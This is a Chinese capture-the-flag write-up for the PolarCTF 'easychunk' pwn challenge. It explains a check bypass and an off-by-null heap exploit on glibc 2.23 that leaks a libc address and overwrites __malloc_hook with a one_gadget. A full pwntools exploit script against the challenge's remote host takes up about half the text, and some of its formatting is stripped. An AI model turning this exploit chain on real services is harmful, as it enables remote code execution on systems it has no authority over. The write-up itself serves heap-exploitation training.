题目
Polarctf 2023秋季个人挑战赛 easychunk
思路
首先是有一段反调试检测
不要进入exit(2)也就是strcmp要一直匹配成功
搜一下strtok函数
发现是按顺序分割字符串
由题意我们可以构造出111,everyone.111:Polar D&N:111字符串来绕过检测
下面在edit函数功能处发现off-by-null漏洞,且libc版本是2.23
编辑一下发现确实把下一个堆块的0x101覆盖为0x100
思路明确了,覆盖后面堆块的previous in use位然后free掉使其把前面的堆块一起放入bins中,然后分配回前面的堆块即可泄露unsortedbin上的fd指针地址,然后利用2.23低版本的fastbin覆盖fd指针重新分配到malloc_hook处,使其覆盖为one_gadget即可(也有可能需要realloc_hook调栈)
调试
先把0号堆块丢入unsortedbin
然后覆盖2号堆块,使其preinuse位置0,且前面未使用的块大小设置为0x200,即刚好覆盖过去chunk0和chunk1
Free掉chunk2根据设置的size大小,会把chunk0、chunk1、chunk2打包丢入unsortedbin中
我们再次申请0xf8,会把chunk0分配回来,那么此时chunk1就出现了双重身份,直接读取即可获取main_arena+88的libc地址了
再从原chunk1里面分出一个fastbin大小的块,该块同样具有双重身份,剩下的一点chunk1和原来完整的chunk2依旧在unsortedbin里面
修改fastbin的fd指针为malloc_hook-0x23即可两次分配过去覆盖成one_gadget
记得数一下分配过去的堆块全局index以免改错,这道题也需要realloc_hook调栈(参考前面的文章)
代码
from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
p = remote('1.95.36.136', 2127)
#p=process('./easychunk')
elf = ELF('./easychunk')
libc=ELF('./libc-2.23.so')
defdebug():
gdb.attach(p)
pause()
defcreate(size, content):
p.sendlineafter(b"Please Choice!n", b"1")
p.sendlineafter(b"name for item:n", b'aaaa')
p.sendlineafter(b"Input Size:n", str(size))
p.sendafter(b"of Emo!:n", content)
defshow(idx):
p.sendlineafter(b"Please Choice!n", b"4")
p.sendlineafter(b'Input index:n',str(idx))
deffree(idx):
p.sendlineafter(b"Please Choice!n", b"2")
p.sendlineafter(b'Input index:n',str(idx))
defedit(idx, content):
p.sendlineafter(b"Please Choice!n", b"3")
p.sendlineafter(b"Input index:n", str(idx))
p.sendafter(b"EMo Contentn", content)
p.sendlineafter(b'from?n',b'111,everyone.111:Polar D&N:111')
create(0xf8,b'aaaa') #0
create(0xf8,b'bbbb') #1
create(0xf8,b'cccc') #2
create(0xf8,b'dddd') #3
free(0) # unsorted bin
edit(1,b'a'*0xf0+p64(0x100+0x100)) # 0x200=chunk0+chunk1 chunk2->size->preinuse
free(2)
create(0xf8,b'aaaa') #0
show(1)
main_arena_add88_addr = u64(p.recvuntil(b'x7f')[-6:].ljust(8, b'x00'))
main_arena_addr = main_arena_add88_addr - 88
malloc_hook_addr = main_arena_addr - 0x10
libc_base = malloc_hook_addr - libc.symbols['__malloc_hook']
realloc = libc_base + libc.sym['realloc']
one_gadget = libc_base + 0x4527a
#one_gadget = libc_base + 0xf03a4
#one_gadget = libc_base + 0xf1247
create(0x68,b'AAAA') #2 -> 1
free(2)
edit(1, p64(malloc_hook_addr - 0x23)) #fastbin->fd
create(0x68,b'BBBB') #2
create(0x68,b'CCCC') #4
#edit(4, b'a'*(0x23-0x10) + p64(one_gadget)) #padding+malloc_hook
edit(4, b'a'*(0x23-0x10-0x8) + p64(one_gadget) + p64(realloc + 8)) #padding+realloc_hook+malloc_hook
p.sendlineafter(b"Please Choice!n", b"1")
p.interactive()
原文始发于微信公众号(智佳网络安全):【PWN】Edit堆溢出2.23 Off-By-Null
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论